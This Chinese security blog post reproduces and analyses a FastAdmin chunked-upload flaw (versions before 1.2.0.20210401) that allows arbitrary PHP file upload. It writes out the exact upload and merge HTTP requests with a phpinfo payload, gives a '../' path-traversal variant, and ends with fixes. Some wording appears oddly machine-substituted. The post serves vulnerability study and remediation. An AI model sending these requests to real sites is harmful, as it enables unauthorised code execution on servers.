上方蓝色字体关注咱们,一块学安全!作者:Whippet
@Timeline Sec
本文字数:1624阅读时长:5~6min声明:请勿用作违法用途,否则后果自负0x01 简介
FastAdmin 是一款基于 ThinkPHP 5 + Bootstrap 的极速后台研发框架。致力于服务研发者,快速搭建自己属于自己的后台。
0x02 漏洞概述
2021年3月28日,360漏洞云漏洞科研员发掘,FastAdmin框架存在有要求RCE漏洞,因为FastAdmin的前台文件上传功能中供给了分片传输功能, 但在合并分片文件时因对文件路径的拼接处理欠妥引起可上传任意文件。 0x03 影响版本
FastAdmin < V1.2.0.20210401_beta
且开启分片传输功能(默认关闭) 0x04 环境搭建
在官网上下载fastadmin,利用phpstudy搭建环境 https://package.fastadmin.net/full/1.2.0.20210125_full.zip
先开启分片上传功能,文件位置如下图
拜访/public/install.php进行安装,填写数据无脑下一步就可
0x05 漏洞复现
漏洞需要一个低权限的账号
因此咱们需要在前台注册一个普通用户
登陆后在个人资料头像处抓包并上传dog.jpg
更改上传数据包
(需要重视图中几处红框的内容)
POST /index/ajax/upload HTTP/1.1Host: test.testContent-Length: 418Accept: application/jsonCache-Control: no-cacheX-Requested-With: XMLHttpRequestUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryurpjX18wIurjSyEpAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cookie: PHPSESSID=rn1k8an9su59qb7ghosafer4vg; think_var=zh-cn; uid=2; token=aad3aa1e-1c65-4ee4-989a-bb3a82a4dd4aConnection: close------WebKitFormBoundaryurpjX18wIurjSyEpContent-Disposition: form-data; name="file"; filename="dog.jpg"Content-Type: application/octet-stream<?php phpinfo(); ?>------WebKitFormBoundaryurpjX18wIurjSyEpContent-Disposition: form-data; name="chunkid";test.php------WebKitFormBoundaryurpjX18wIurjSyEpContent-Disposition: form-data; name="chunkindex";0------WebKitFormBoundaryurpjX18wIurjSyEp--
上传成功之后,会在网站路径
C:\phpstudy_pro\WWW\fastadmin\runtime\chunks下生成一个test.php-0.part文件
发送数据包(需要重视图中几处红框的内容)
返回包表示200则表率合并成功
POST /index/ajax/upload HTTP/1.1Host: tets.testContent-Length: 42Accept: application/jsonCache-Control: no-cacheX-Requested-With: XMLHttpRequestUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36Content-Type: application/x-www-form-urlencodedAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cookie: PHPSESSID=mm4ejed8h7hubqq1stmogrut20; think_var=zh-cn; uid=2; token=f5a57bef-2ad2-496a-a4bc-66974bcc4a08Connection: closechunkid=test.php&chunkcount=1&action=merge
发包后拜访
/fastadmin/runtime/chunks/test.php
(漏洞利用存在很大的局限性,首要是需要开启支持分片传输,我在调试的过程中发掘,在指定
host 解析,设定网站的根目录为 /fastadmin/public 之后就没法拜访 /fastadmin/runtime/chunks
下的文件,虽然说如此,然则能够经过设定chunkid的值为 ../xxx.php 就能够实现跨目录的上传) 0x06 漏洞分析
按照漏洞
描述需要开启支持分片上传,因此咱们修改
application/extra/upload.php中chunking为 true
同期最新版本已然修复存在的漏洞,修复位置为
application/common/library/Upload.php
复现漏洞时,应注释这个部分
按照上传时的路由信息
/index.php/index/ajax/upload
定位至代码位置
application/index/controller/Ajax.php
漏洞的触发共分为两个过程,上传分片与合并分片
首要关注上传分片的过程 传入参数 chunckid 才会到上传分片的位置
\app\api\controller\Common::upload
\app\common\library\Upload::chunk
在
chunk 办法中,首要对 Content-Type 进行了校验,必须为 application/octet-stream 将传入的参数
chunckid 与 chunckindex 经过 - 连接,最后拼接 .part 最后保留到 /runtime/chunks/
当咱们传递的 $chunkid 为 test.php , $chunckindex 为 0 时(参数选取为0,还有别的原由,下表),最后拼接出的分片文件名为test.php-0.part
而后是合并分片文件的操作,需要传入参数 action=merge 才会到合并分片文件的函数
\app\common\library\Upload::merge
在 merge 办法中会将 $chunkid 的值指定为最后保留的文件名,而后回按照传入的参数$chunkcount遍历查询是不是分片文件上传完成,咱们仅上传了一个分片文件,因此第1个分片文件应该设定为0,此处 chunkcount 的值应为1
之后就将分片传输的文件写入指定的文件中,最后返回文件信息,即使最后报错提示是不准许的上传类型,然则文件已然保留到 /runtime/chunks/ 路径下
在上传对文件名进行校验的状况下,利用分片传输的中最后重命名文件名的特点,绕过对文件名的校验,实现了任意文件上传 0x07 修复方式
1、关闭分片传输
修改application/extra/upload.php中 chunking 为 false
2、升级FastAdmin版本,其中对 chunkid 做正则判断 参考链接:
https://xz.aliyun.com/t/9395
https://mp.weixin.qq.com/s/otrH75ZjCHBQbRB7g5DdWg
阅读原文看更加多复现文案
Timeline Sec 团队 安全路上,与你并肩前行
|